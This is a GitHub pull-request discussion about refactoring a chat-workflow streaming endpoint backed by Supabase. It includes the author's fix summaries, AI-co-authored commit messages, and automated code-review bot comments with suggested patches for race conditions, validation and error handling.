P1.4Failed re-read after CAS-clear → currentStreamId = null → ready → duplicate workflowReconcile no longer re-reads; CAS-clear failure → conflict directly
P1.5messages: z.array(z.any()) lets malformed payloads reach convertToModelMessagesSchema still uses z.array(z.any()) to match open-agents permissive shape AND prod chat UI behavior (extra fields pass through Zod .strip()). Stricter validation would diverge from prod payloads; AI SDK's own convertToModelMessages throws clean errors on shape problems. Flagging as design choice — happy to tighten if you want

cubic P2 fixes — all 7 resolved

#ConcernFix
P2.1updateChat accepts TablesUpdate<"chats"> (too wide)Narrowed to ChatMutableFields = Pick<..., "title" | "model_id" | "updated_at" | "active_stream_id" | "last_assistant_message_at">
P2.2isFirstChatMessage checks "only row" — race with fast-following messageHelper deleted. New logic in persistLatestUserMessage: checks "is inserted.row.id still the earliest in the chat" via selectChatMessages({orderBy: createdAt asc, limit: 1})
P2.3runAgentWorkflow multi-turn loop reused same messages — unsafe for tool-callsCapped at 1 turn until PR 4 wires tool-message threading. If model returns tool-calls, log warn + exit
P2.4createChatMessageIfNotExists returned null for both duplicate + DB errorNew upsertChatMessage returns discriminated {ok: true, isDuplicate} vs {ok: false, error}
P2.5runAgentStep per-chunk getWriter() leaks lock on write failureAcquire once, release in finally
P2.6persistLatestUserMessage title was slice(0, 80) + "..." = 83 charsNow exactly 80: TITLE_BODY_BUDGET = 80 - 1 (using "…" single-char suffix), title length asserted in test
P2.7cancel() not awaited — failures escaped try/catchawait getRun(...).cancel() now

Verification

  • ✅ Full suite 2949/2949 pass (+3 since baseline)
  • ✅ Lint clean
  • ✅ E2E re-tested on preview: same wrun_ id format, same SSE protocol, real LLM streaming "ZAP" via text-delta chunks unchanged from before the refactor.

Sample response (after refactor):

x-workflow-run-id: wrun_01KS5KGTTJP50NQHR1HAQXCCSE
data: {"type":"start"}
data: {"type":"start-step"}
data: {"type":"text-start","id":"0","providerMetadata":{"gateway":{"generationId":"gen_01KS5KGVHEH6HEC2PBWV4X2YY6"}}}
data: {"type":"text-delta","id":"0","delta":"Z"}
data: {"type":"text-delta","id":"0","delta":"AP"}

Ready for re-review.

…tream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Comment threadlib/supabase/chats/updateChat.ts Outdated

@coderabbitaicoderabbitaiBot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

🧹 Nitpick comments (3)
lib/chat/persistLatestUserMessage.ts (1)

5-6: ⚡ Quick win

Local UserMessage type duplicates the shape used by validator/handler — risk of drift.

Defining UserMessage locally (and again referencing it via as never casts at the call site in handleChatWorkflowStream.ts) means three sources of truth for what a request message looks like. Per the DRY guideline for this module, consider lifting a shared RequestUserMessage type into one location (e.g. alongside validateChatWorkflow's output) and importing it here. That also lets the handler drop its as never cast.

As per coding guidelines for lib/**/*.ts: "DRY: Consolidate similar logic into shared utilities".

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@lib/chat/persistLatestUserMessage.ts` around lines 5 - 6, The local
UserMessage and TextPart types duplicate the canonical request message shape and
risk drifting; remove these local type declarations and import the shared
RequestUserMessage (and/or shared TextPart) type exported alongside
validateChatWorkflow's output, then update references in
persistLatestUserMessage.ts to use that imported type and adjust callers
(notably handleChatWorkflowStream.ts) to drop their `as never` casts so they
pass correctly-typed messages into persistLatestUserMessage.
lib/chat/reconcileExistingActiveStream.ts (1)

36-46: 💤 Low value

Tiny readability nit: the status variable doesn't need to outlive the try block.

status is only read inside try, so the outer let status: string declaration adds noise without buying anything (and leaves the variable in a "definitely assigned" hole if anyone later adds a use after the catch). Inlining keeps the resume branch self-contained.

♻️ Optional cleanup
- // Probe the workflow status. Any thrown error here is treated as transient —- // we keep the slot held rather than risk starting a duplicate run.- let status: string;- try {- const existingRun = getRun(activeStreamId);- status = await existingRun.status;- if (RUNNING_STATUSES.has(status)) {- return { action: "resume", runId: activeStreamId, stream: existingRun.getReadable() };- }- } catch (error) {+ // Probe the workflow status. Any thrown error here is treated as transient —+ // we keep the slot held rather than risk starting a duplicate run.+ try {+ const existingRun = getRun(activeStreamId);+ const status = await existingRun.status;+ if (RUNNING_STATUSES.has(status)) {+ return { action: "resume", runId: activeStreamId, stream: existingRun.getReadable() };+ }+ } catch (error) {
console.error("[reconcileExistingActiveStream] getRun failed; treating as conflict:", error);
return { action: "conflict" };
}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@lib/chat/reconcileExistingActiveStream.ts` around lines 36 - 46, The
top-level let status: string is unnecessary; move the status declaration inside
the try block by using const status = await existingRun.status so the resume
branch is self-contained, e.g., inside the try after const existingRun =
getRun(activeStreamId) check RUNNING_STATUSES.has(status) and return { action:
"resume", runId: activeStreamId, stream: existingRun.getReadable() } as before;
remove the outer status declaration to avoid the unused/definitely-assigned
variable.
lib/chat/handleChatWorkflowStream.ts (1)

49-120: ⚖️ Poor tradeoff

Handler is doing a lot — consider splitting orchestration into small named helpers (SRP).

The handler runs ~70 lines and stitches together eight distinct concerns: validation, session/ownership/sandbox checks, chat/ownership checks, resume branch, slot pre-claim, lifecycle/persistence side effects, workflow start, and slot promotion. The resume branch is already nicely extracted; the remaining "pre-claim → start → promote" sequence is the next natural slice (e.g. a claimAndStartChatWorkflow helper returning either a run or a Response). That would also localize the placeholder-cleanup fix from the sibling comment and keep this file readable.

As per coding guidelines: "Flag functions longer than 20 lines" and "Keep functions small and focused".

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@lib/chat/handleChatWorkflowStream.ts` around lines 49 - 120, The handler
handleChatWorkflowStream is too large and should extract the "pre-claim → start
→ promote" sequence into a small helper (e.g., claimAndStartChatWorkflow) that
encapsulates calling updateChat to pre-claim the placeholder, starting the
workflow via start(runAgentWorkflow, ...), promoting the placeholder with a
second updateChat, and returning either the run object or a Response on failure;
ensure this helper also performs the cancel-on-slot-loss cleanup (calling
getRun(runId).cancel()) and surface errors as Response objects so
handleChatWorkflowStream can simply call maybeResumeChatStream then
claimAndStartChatWorkflow and return createUIMessageStreamResponse when a run is
returned. Use the existing symbols updateChat, start, runAgentWorkflow, getRun,
persistLatestUserMessage, updateSession, and buildActiveLifecycleUpdate to
locate and move the logic.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@lib/chat/assistantFileLinks.ts`:
- Around line 13-15: The buildWorkspaceFileHref function currently returns an
invalid deep link for empty or whitespace-only inputs; after calling
normalizeWorkspaceFilePath(filePath) check if the normalized path is empty
(e.g., === ""), and if so fail fast by throwing a descriptive Error (or
otherwise returning an explicit failure) instead of returning
`${WORKSPACE_FILE_HREF_PREFIX}`; update buildWorkspaceFileHref to validate the
normalized value and only construct and return
`${WORKSPACE_FILE_HREF_PREFIX}${normalized}` when non-empty, referencing
buildWorkspaceFileHref and normalizeWorkspaceFilePath.
In `@lib/chat/handleChatWorkflowStream.ts`:
- Around line 75-97: The code sets a temporary placeholder
(`pending-${generateUUID()}`) in updateChat to reserve the slot but never clears
it if start(runAgentWorkflow, ...) throws, which permanently bricks the chat;
wrap the call to start(runAgentWorkflow, ...) in a try/catch (or try/finally)
and on any failure call updateChat(...) to CAS the active_stream_id back to null
using the same whereActiveStreamId equal-to-the-placeholder check so only your
placeholder is cleared (refer to the placeholder variable, generateUUID,
updateChat, and the start/runAgentWorkflow call), and optionally harden
reconcileExistingActiveStream/getRun by treating active_stream_id values with
the "pending-" prefix as invalid and clearing them automatically.
In `@lib/supabase/chat_messages/selectChatMessages.ts`:
- Line 32: The code forwards filter.limit directly to the Supabase query;
validate filter.limit in selectChatMessages before calling query.limit: ensure
it's a positive integer (e.g., Number.isInteger and > 0) and either skip
applying limit or throw/return a validation error for non-integer or
non-positive values; reference the local variable filter.limit and the
query.limit(...) call so the check sits immediately before the line that invokes
query.limit.
---
Nitpick comments:
In `@lib/chat/handleChatWorkflowStream.ts`:
- Around line 49-120: The handler handleChatWorkflowStream is too large and
should extract the "pre-claim → start → promote" sequence into a small helper
(e.g., claimAndStartChatWorkflow) that encapsulates calling updateChat to
pre-claim the placeholder, starting the workflow via start(runAgentWorkflow,
...), promoting the placeholder with a second updateChat, and returning either
the run object or a Response on failure; ensure this helper also performs the
cancel-on-slot-loss cleanup (calling getRun(runId).cancel()) and surface errors
as Response objects so handleChatWorkflowStream can simply call
maybeResumeChatStream then claimAndStartChatWorkflow and return
createUIMessageStreamResponse when a run is returned. Use the existing symbols
updateChat, start, runAgentWorkflow, getRun, persistLatestUserMessage,
updateSession, and buildActiveLifecycleUpdate to locate and move the logic.
In `@lib/chat/persistLatestUserMessage.ts`:
- Around line 5-6: The local UserMessage and TextPart types duplicate the
canonical request message shape and risk drifting; remove these local type
declarations and import the shared RequestUserMessage (and/or shared TextPart)
type exported alongside validateChatWorkflow's output, then update references in
persistLatestUserMessage.ts to use that imported type and adjust callers
(notably handleChatWorkflowStream.ts) to drop their `as never` casts so they
pass correctly-typed messages into persistLatestUserMessage.
In `@lib/chat/reconcileExistingActiveStream.ts`:
- Around line 36-46: The top-level let status: string is unnecessary; move the
status declaration inside the try block by using const status = await
existingRun.status so the resume branch is self-contained, e.g., inside the try
after const existingRun = getRun(activeStreamId) check
RUNNING_STATUSES.has(status) and return { action: "resume", runId:
activeStreamId, stream: existingRun.getReadable() } as before; remove the outer
status declaration to avoid the unused/definitely-assigned variable.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 7f71452f-1bc3-4b10-8c4e-9eb4634f57d9

📥 Commits

Reviewing files that changed from the base of the PR and between 26e847f and bdd2713.

⛔ Files ignored due to path filters (8)
  • lib/chat/__tests__/handleChatWorkflowStream.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/chat/__tests__/maybeResumeChatStream.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/chat/__tests__/persistLatestUserMessage.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/chat/__tests__/reconcileExistingActiveStream.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/recoupable/__tests__/extractOrgId.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/supabase/chat_messages/__tests__/selectChatMessages.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/supabase/chat_messages/__tests__/upsertChatMessage.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
  • lib/supabase/chats/__tests__/updateChat.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**
📒 Files selected for processing (13)
  • app/lib/workflows/runAgentStep.ts
  • app/lib/workflows/runAgentWorkflow.ts
  • lib/chat/agentCustomInstructions.ts
  • lib/chat/assistantFileLinks.ts
  • lib/chat/handleChatWorkflowStream.ts
  • lib/chat/maybeResumeChatStream.ts
  • lib/chat/persistLatestUserMessage.ts
  • lib/chat/reconcileExistingActiveStream.ts
  • lib/chat/recoupApiSkillPrompt.ts
  • lib/recoupable/extractOrgId.ts
  • lib/supabase/chat_messages/selectChatMessages.ts
  • lib/supabase/chat_messages/upsertChatMessage.ts
  • lib/supabase/chats/updateChat.ts

Comment on lines +13 to +15
export function buildWorkspaceFileHref(filePath: string): string {
return `${WORKSPACE_FILE_HREF_PREFIX}${normalizeWorkspaceFilePath(filePath)}`;
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Guard against empty file paths in link builder.

On Line 14, whitespace-only input currently returns #workspace-file=, which creates an invalid deep link. Add validation after normalization and fail fast.

Suggested fix
 export function buildWorkspaceFileHref(filePath: string): string {
- return `${WORKSPACE_FILE_HREF_PREFIX}${normalizeWorkspaceFilePath(filePath)}`;+ const normalizedPath = normalizeWorkspaceFilePath(filePath);+ if (!normalizedPath) {+ throw new Error("filePath must be a non-empty workspace-relative path");+ }+ return `${WORKSPACE_FILE_HREF_PREFIX}${normalizedPath}`;
}
📝 Committable suggestion

‼️IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
exportfunctionbuildWorkspaceFileHref(filePath: string): string{
return`${WORKSPACE_FILE_HREF_PREFIX}${normalizeWorkspaceFilePath(filePath)}`;
}
exportfunctionbuildWorkspaceFileHref(filePath: string): string{
constnormalizedPath=normalizeWorkspaceFilePath(filePath);
if(!normalizedPath){
thrownewError("filePath must be a non-empty workspace-relative path");
}
return`${WORKSPACE_FILE_HREF_PREFIX}${normalizedPath}`;
}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@lib/chat/assistantFileLinks.ts` around lines 13 - 15, The
buildWorkspaceFileHref function currently returns an invalid deep link for empty
or whitespace-only inputs; after calling normalizeWorkspaceFilePath(filePath)
check if the normalized path is empty (e.g., === ""), and if so fail fast by
throwing a descriptive Error (or otherwise returning an explicit failure)
instead of returning `${WORKSPACE_FILE_HREF_PREFIX}`; update
buildWorkspaceFileHref to validate the normalized value and only construct and
return `${WORKSPACE_FILE_HREF_PREFIX}${normalized}` when non-empty, referencing
buildWorkspaceFileHref and normalizeWorkspaceFilePath.

Comment on lines +75 to +97
const placeholder = `pending-${generateUUID()}`;
const claimed = await updateChat(
{ id: validated.chatId, whereActiveStreamId: { equals: null } },
{ active_stream_id: placeholder },
);
if (!claimed.ok) return errorResponse("Internal server error", 500);
if (claimed.rowsUpdated === 0) {
return errorResponse("Another workflow is already running for this chat", 409);
}

const stream = createUIMessageStream({
generateId: generateUUID,
execute: ({ writer }) => {
const id = generateUUID();
writer.write({ type: "text-start", id });
writer.write({ type: "text-delta", id, delta: "Hello from /api/chat/workflow" });
writer.write({ type: "text-end", id });
// We own the slot — safe to start the workflow.
await updateSession(validated.sessionId, buildActiveLifecycleUpdate(session.sandbox_state));
void persistLatestUserMessage(validated.chatId, validated.messages as never);

const modelId = chat.model_id ?? DEFAULT_MODEL_ID;
const run = await start(runAgentWorkflow, [
{
messages: validated.messages,
chatId: validated.chatId,
sessionId: validated.sessionId,
modelId,
},
});
]);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | 🏗️ Heavy lift

Placeholder leak if start(runAgentWorkflow) throws — chat can be bricked.

Between the pre-claim (line 76-83) and the promote (line 100-103), if start() rejects (network blip to the workflow API, quota error, etc.), the pending-<uuid> placeholder is left in chats.active_stream_id with no cleanup. On the next request:

  • maybeResumeChatStream calls reconcileExistingActiveStream with activeStreamId = "pending-<uuid>".
  • getRun("pending-<uuid>") will throw (it's not a real workflow id), the catch in reconcileExistingActiveStream returns { action: "conflict" }, and the handler 409s.
  • The slot never gets cleared — the chat is permanently wedged until someone manually nulls the row.

Wrap start() in try/catch (or try/finally on error) and CAS the placeholder back to null on failure. Bonus: recognising the pending- prefix inside reconcileExistingActiveStream as "definitely not a live workflow, just clear it" would harden this further.

🛡️ Suggested cleanup on start() failure
 const modelId = chat.model_id ?? DEFAULT_MODEL_ID;
- const run = await start(runAgentWorkflow, [- {- messages: validated.messages,- chatId: validated.chatId,- sessionId: validated.sessionId,- modelId,- },- ]);+ let run;+ try {+ run = await start(runAgentWorkflow, [+ {+ messages: validated.messages,+ chatId: validated.chatId,+ sessionId: validated.sessionId,+ modelId,+ },+ ]);+ } catch (error) {+ console.error("[handleChatWorkflowStream] start failed; releasing placeholder:", error);+ await updateChat(+ { id: validated.chatId, whereActiveStreamId: { equals: placeholder } },+ { active_stream_id: null },+ );+ return errorResponse("Internal server error", 500);+ }
📝 Committable suggestion

‼️IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
constplaceholder=`pending-${generateUUID()}`;
constclaimed=awaitupdateChat(
{id: validated.chatId,whereActiveStreamId: {equals: null}},
{active_stream_id: placeholder},
);
if(!claimed.ok)returnerrorResponse("Internal server error",500);
if(claimed.rowsUpdated===0){
returnerrorResponse("Another workflow is already running for this chat",409);
}
conststream=createUIMessageStream({
generateId: generateUUID,
execute: ({ writer })=>{
constid=generateUUID();
writer.write({type: "text-start", id });
writer.write({type: "text-delta", id,delta: "Hello from /api/chat/workflow"});
writer.write({type: "text-end", id });
// We own the slot — safe to start the workflow.
awaitupdateSession(validated.sessionId,buildActiveLifecycleUpdate(session.sandbox_state));
voidpersistLatestUserMessage(validated.chatId,validated.messagesasnever);
constmodelId=chat.model_id??DEFAULT_MODEL_ID;
construn=awaitstart(runAgentWorkflow,[
{
messages: validated.messages,
chatId: validated.chatId,
sessionId: validated.sessionId,
modelId,
},
});
]);
constplaceholder=`pending-${generateUUID()}`;
constclaimed=awaitupdateChat(
{id: validated.chatId,whereActiveStreamId: {equals: null}},
{active_stream_id: placeholder},
);
if(!claimed.ok)returnerrorResponse("Internal server error",500);
if(claimed.rowsUpdated===0){
returnerrorResponse("Another workflow is already running for this chat",409);
}
// We own the slot — safe to start the workflow.
awaitupdateSession(validated.sessionId,buildActiveLifecycleUpdate(session.sandbox_state));
voidpersistLatestUserMessage(validated.chatId,validated.messagesasnever);
constmodelId=chat.model_id??DEFAULT_MODEL_ID;
letrun;
try{
run=awaitstart(runAgentWorkflow,[
{
messages: validated.messages,
chatId: validated.chatId,
sessionId: validated.sessionId,
modelId,
},
]);
}catch(error){
console.error("[handleChatWorkflowStream] start failed; releasing placeholder:",error);
awaitupdateChat(
{id: validated.chatId,whereActiveStreamId: {equals: placeholder}},
{active_stream_id: null},
);
returnerrorResponse("Internal server error",500);
}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@lib/chat/handleChatWorkflowStream.ts` around lines 75 - 97, The code sets a
temporary placeholder (`pending-${generateUUID()}`) in updateChat to reserve the
slot but never clears it if start(runAgentWorkflow, ...) throws, which
permanently bricks the chat; wrap the call to start(runAgentWorkflow, ...) in a
try/catch (or try/finally) and on any failure call updateChat(...) to CAS the
active_stream_id back to null using the same whereActiveStreamId
equal-to-the-placeholder check so only your placeholder is cleared (refer to the
placeholder variable, generateUUID, updateChat, and the start/runAgentWorkflow
call), and optionally harden reconcileExistingActiveStream/getRun by treating
active_stream_id values with the "pending-" prefix as invalid and clearing them
automatically.

query = query.order("created_at", { ascending: filter.orderBy.createdAt === "asc" });
query = query.order("id", { ascending: true });
}
if (filter.limit !== undefined) query = query.limit(filter.limit);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Validate limit before applying it to the Supabase query.

On Line 32, limit is forwarded without bounds checks. Reject non-positive or non-integer values early to avoid avoidable query errors.

Suggested fix
- if (filter.limit !== undefined) query = query.limit(filter.limit);+ if (filter.limit !== undefined) {+ if (!Number.isInteger(filter.limit) || filter.limit <= 0) {+ return null;+ }+ query = query.limit(filter.limit);+ }
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@lib/supabase/chat_messages/selectChatMessages.ts` at line 32, The code
forwards filter.limit directly to the Supabase query; validate filter.limit in
selectChatMessages before calling query.limit: ensure it's a positive integer
(e.g., Number.isInteger and > 0) and either skip applying limit or throw/return
a validation error for non-integer or non-positive values; reference the local
variable filter.limit and the query.limit(...) call so the check sits
immediately before the line that invokes query.limit.

Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@sweetmantech

Copy link
Copy Markdown
ContributorAuthor

KISS — complex active_stream_id logic in the supabase lib → move the complex logic to the caller

Fixed in 21bd131.

lib/supabase/chats/updateChat.ts — now fully generic

The filter accepts a where: Partial<Tables<"chats">> map instead of the whereActiveStreamId special case. The Supabase lib doesn't reference any column by name anymore — it just iterates the where object and emits .eq() / .is(null) per entry:

letquery=supabase.from("chats").update(updates).eq("id",filter.id);for(const[column,value]ofObject.entries(filter.where??{})){query=value===null ? query.is(column,null) : query.eq(column,value);}

lib/chat/compareAndSetChatActiveStreamId.ts — new domain wrapper

The "CAS on active_stream_id" concept lives here now. Thin layer over updateChat:

exportasyncfunctioncompareAndSetChatActiveStreamId(chatId: string,expected: string|null,next: string|null,): Promise<{ok: true;claimed: boolean}|{ok: false;error: string}>{constresult=awaitupdateChat({id: chatId,where: {active_stream_id: expected}},{active_stream_id: next},);if(!result.ok)return{ok: false,error: result.error};return{ok: true,claimed: result.rowsUpdated>0};}

Returns { ok: true, claimed: true/false } | { ok: false, error } so callers still distinguish "race lost" from "DB error".

Handler + reconcile updated

Both handleChatWorkflowStream.ts and reconcileExistingActiveStream.ts now call compareAndSetChatActiveStreamId(chatId, expected, next) instead of constructing predicates inline. The handler's three CAS operations (claim placeholder, promote to real run id, reconcile clear) all read identically now.

Verification

  • 37/37 tests in touched files pass
  • Full suite: 2955/2955 pass
  • Lint: clean

@cubic-dev-aicubic-dev-aiBot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

7 issues found across 27 files (changes from recent commits).

Prompt for AI agents (unresolved issues)

Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name="lib/supabase/chat_messages/selectChatMessages.ts">
<violation number="1" location="lib/supabase/chat_messages/selectChatMessages.ts:28">
P2: Apply the documented default sort even when `orderBy` is omitted; otherwise `limit` queries can return an arbitrary message instead of the oldest row this helper promises.</violation>
</file>
<file name="lib/supabase/chat_messages/upsertChatMessage.ts">
<violation number="1" location="lib/supabase/chat_messages/upsertChatMessage.ts:28">
P2: Select only the inserted message id here; returning the full row needlessly re-fetches the `parts` payload on every insert.</violation>
</file>
<file name="lib/chat/maybeResumeChatStream.ts">
<violation number="1" location="lib/chat/maybeResumeChatStream.ts:31">
P2: Expose `x-workflow-run-id` via CORS on the resume response, or cross-origin clients won't be able to read the run ID header.</violation>
</file>
<file name="lib/chat/reconcileExistingActiveStream.ts">
<violation number="1" location="lib/chat/reconcileExistingActiveStream.ts:38">
P1: Handle missing workflow runs separately before awaiting `status`; otherwise a stale `active_stream_id` can wedge the chat in permanent 409 conflicts.</violation>
<violation number="2" location="lib/chat/reconcileExistingActiveStream.ts:52">
P2: Don't map `ok:false` CAS failures to `conflict`; this turns a DB outage into a misleading 409 "workflow already running" response.</violation>
</file>
<file name="lib/supabase/chats/updateChat.ts">
<violation number="1" location="lib/supabase/chats/updateChat.ts:51">
P2: Skip `undefined` entries in the new `where` loop. Passing an optional predicate through to `.eq()` produces an invalid `eq.undefined` filter instead of omitting that condition.</violation>
</file>
<file name="lib/chat/handleChatWorkflowStream.ts">
<violation number="1" location="lib/chat/handleChatWorkflowStream.ts:100">
P1: Split DB failures from real slot races here. `promoted.ok === false` is an internal error, not 'another workflow is running'.</violation>
</file>

Tip: Review your code locally with the cubic CLI to iterate faster.

Re-trigger cubic

let status: string;
try {
const existingRun = getRun(activeStreamId);
status = await existingRun.status;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: Handle missing workflow runs separately before awaiting status; otherwise a stale active_stream_id can wedge the chat in permanent 409 conflicts.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At lib/chat/reconcileExistingActiveStream.ts, line 38:
<comment>Handle missing workflow runs separately before awaiting `status`; otherwise a stale `active_stream_id` can wedge the chat in permanent 409 conflicts.</comment>
<file context>
@@ -1,60 +1,56 @@
+ let status: string;
+ try {
+ const existingRun = getRun(activeStreamId);
+ status = await existingRun.status;
+ if (RUNNING_STATUSES.has(status)) {
+ return { action: "resume", runId: activeStreamId, stream: existingRun.getReadable() };
</file context>
Suggested change
status=awaitexistingRun.status;
if(!(awaitexistingRun.exists)){
constcleared=awaitcompareAndSetChatActiveStreamId(chatId,activeStreamId,null);
returncleared.ok&&cleared.claimed ? {action: "ready"} : {action: "conflict"};
}
status=awaitexistingRun.status;

Comment on lines +100 to +107
if (!promoted.ok || !promoted.claimed) {
try {
await getRun(run.runId).cancel();
} catch (error) {
console.error("[handleChatWorkflowStream] cancel after slot-loss failed:", error);
}
return errorResponse("Another workflow is already running for this chat", 409);
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: Split DB failures from real slot races here. promoted.ok === false is an internal error, not 'another workflow is running'.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At lib/chat/handleChatWorkflowStream.ts, line 100:
<comment>Split DB failures from real slot races here. `promoted.ok === false` is an internal error, not 'another workflow is running'.</comment>
<file context>
@@ -90,13 +93,15 @@ export async function handleChatWorkflowStream(request: NextRequest): Promise<Re
+ // stole the slot (or the DB went down) we cancel the workflow we just
+ // started since another stream now owns the client.
+ const promoted = await compareAndSetChatActiveStreamId(validated.chatId, placeholder, run.runId);
+ if (!promoted.ok || !promoted.claimed) {
try {
- getRun(run.runId).cancel();
</file context>
Suggested change
if(!promoted.ok||!promoted.claimed){
try{
awaitgetRun(run.runId).cancel();
}catch(error){
console.error("[handleChatWorkflowStream] cancel after slot-loss failed:",error);
}
returnerrorResponse("Another workflow is already running for this chat",409);
}
if(!promoted.ok){
try{
awaitgetRun(run.runId).cancel();
}catch(error){
console.error("[handleChatWorkflowStream] cancel after promotion failure failed:",error);
}
returnerrorResponse("Internal server error",500);
}
if(!promoted.claimed){
try{
awaitgetRun(run.runId).cancel();
}catch(error){
console.error("[handleChatWorkflowStream] cancel after slot-loss failed:",error);
}
returnerrorResponse("Another workflow is already running for this chat",409);
}

let query = supabase.from("chat_messages").select("*");
if (filter.id) query = query.eq("id", filter.id);
if (filter.chatId) query = query.eq("chat_id", filter.chatId);
if (filter.orderBy) {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Apply the documented default sort even when orderBy is omitted; otherwise limit queries can return an arbitrary message instead of the oldest row this helper promises.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At lib/supabase/chat_messages/selectChatMessages.ts, line 28:
<comment>Apply the documented default sort even when `orderBy` is omitted; otherwise `limit` queries can return an arbitrary message instead of the oldest row this helper promises.</comment>
<file context>
@@ -0,0 +1,40 @@
+ let query = supabase.from("chat_messages").select("*");
+ if (filter.id) query = query.eq("id", filter.id);
+ if (filter.chatId) query = query.eq("chat_id", filter.chatId);
+ if (filter.orderBy) {
+ query = query.order("created_at", { ascending: filter.orderBy.createdAt === "asc" });
+ query = query.order("id", { ascending: true });
</file context>

const { data: row, error } = await supabase
.from("chat_messages")
.upsert(data, { onConflict: "id", ignoreDuplicates: true })
.select()

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Select only the inserted message id here; returning the full row needlessly re-fetches the parts payload on every insert.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At lib/supabase/chat_messages/upsertChatMessage.ts, line 28:
<comment>Select only the inserted message id here; returning the full row needlessly re-fetches the `parts` payload on every insert.</comment>
<file context>
@@ -0,0 +1,37 @@
+ const { data: row, error } = await supabase
+ .from("chat_messages")
+ .upsert(data, { onConflict: "id", ignoreDuplicates: true })
+ .select()
+ .maybeSingle();
+
</file context>

if (reconciled.action === "resume") {
return createUIMessageStreamResponse({
stream: reconciled.stream as ReadableStream<UIMessageChunk>,
headers: { ...getCorsHeaders(), "x-workflow-run-id": reconciled.runId },

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Expose x-workflow-run-id via CORS on the resume response, or cross-origin clients won't be able to read the run ID header.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At lib/chat/maybeResumeChatStream.ts, line 31:
<comment>Expose `x-workflow-run-id` via CORS on the resume response, or cross-origin clients won't be able to read the run ID header.</comment>
<file context>
@@ -0,0 +1,40 @@
+ if (reconciled.action === "resume") {
+ return createUIMessageStreamResponse({
+ stream: reconciled.stream as ReadableStream<UIMessageChunk>,
